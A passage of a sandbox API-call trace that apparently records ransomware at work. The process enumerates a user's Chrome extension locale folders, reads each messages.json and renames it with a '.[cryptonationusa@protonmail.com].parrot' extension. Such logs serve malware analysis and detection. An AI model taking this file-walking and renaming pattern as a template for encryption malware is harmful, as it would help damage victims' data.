[0072.705] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.705] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82783160, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82783160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.706] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d3, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.706] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.706] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.708] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.709] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2bb, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x2bb, lpOverlapped=0x0) returned 1 [0072.709] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.710] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.710] CloseHandle (hObject=0x28c) returned 1 [0072.710] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.713] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.713] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8277e340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8d137c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8d137c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.714] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82783160, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82783160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8d137c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.714] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.714] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.714] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82787f80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8278a690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8278a690, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.714] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.715] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.715] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8278a690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8278a690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.715] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39c, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.715] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.715] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.716] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.716] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x284, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x284, lpOverlapped=0x0) returned 1 [0072.717] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.717] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.717] CloseHandle (hObject=0x28c) returned 1 [0072.718] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.720] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.721] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82787f80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8d39920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8d39920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.722] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8278a690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8278a690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8d39920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.722] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.722] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.722] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82791bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827942d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827942d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.722] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.722] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.722] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827942d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827969e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.723] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39a, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.723] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.723] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.725] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.725] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x282, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x282, lpOverlapped=0x0) returned 1 [0072.726] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.726] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.726] CloseHandle (hObject=0x28c) returned 1 [0072.726] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.729] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.729] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82791bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8d39920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8d39920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.730] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827942d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827969e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8d39920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.730] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.730] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.730] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8279b800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8279df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8279df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.731] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.731] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.731] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8279df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8279df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.731] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b2, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.731] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.731] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.732] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.733] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x29a, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x29a, lpOverlapped=0x0) returned 1 [0072.733] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.733] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.734] CloseHandle (hObject=0x28c) returned 1 [0072.734] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.737] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.737] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8279b800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8d5fa80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8d5fa80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.738] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8279df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8279df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8d5fa80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.738] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.738] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.738] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827a2d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827a5440, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827a5440, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.738] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.738] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.739] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827a5440, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827a5440, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.739] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b3, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.740] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.740] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.741] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.741] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x29b, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x29b, lpOverlapped=0x0) returned 1 [0072.742] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.742] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.742] CloseHandle (hObject=0x28c) returned 1 [0072.743] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.794] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.794] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827a2d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8df8000, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8df8000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.795] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827a5440, ftCreationTime.dwHighDateTime=0x1d2dd9e, 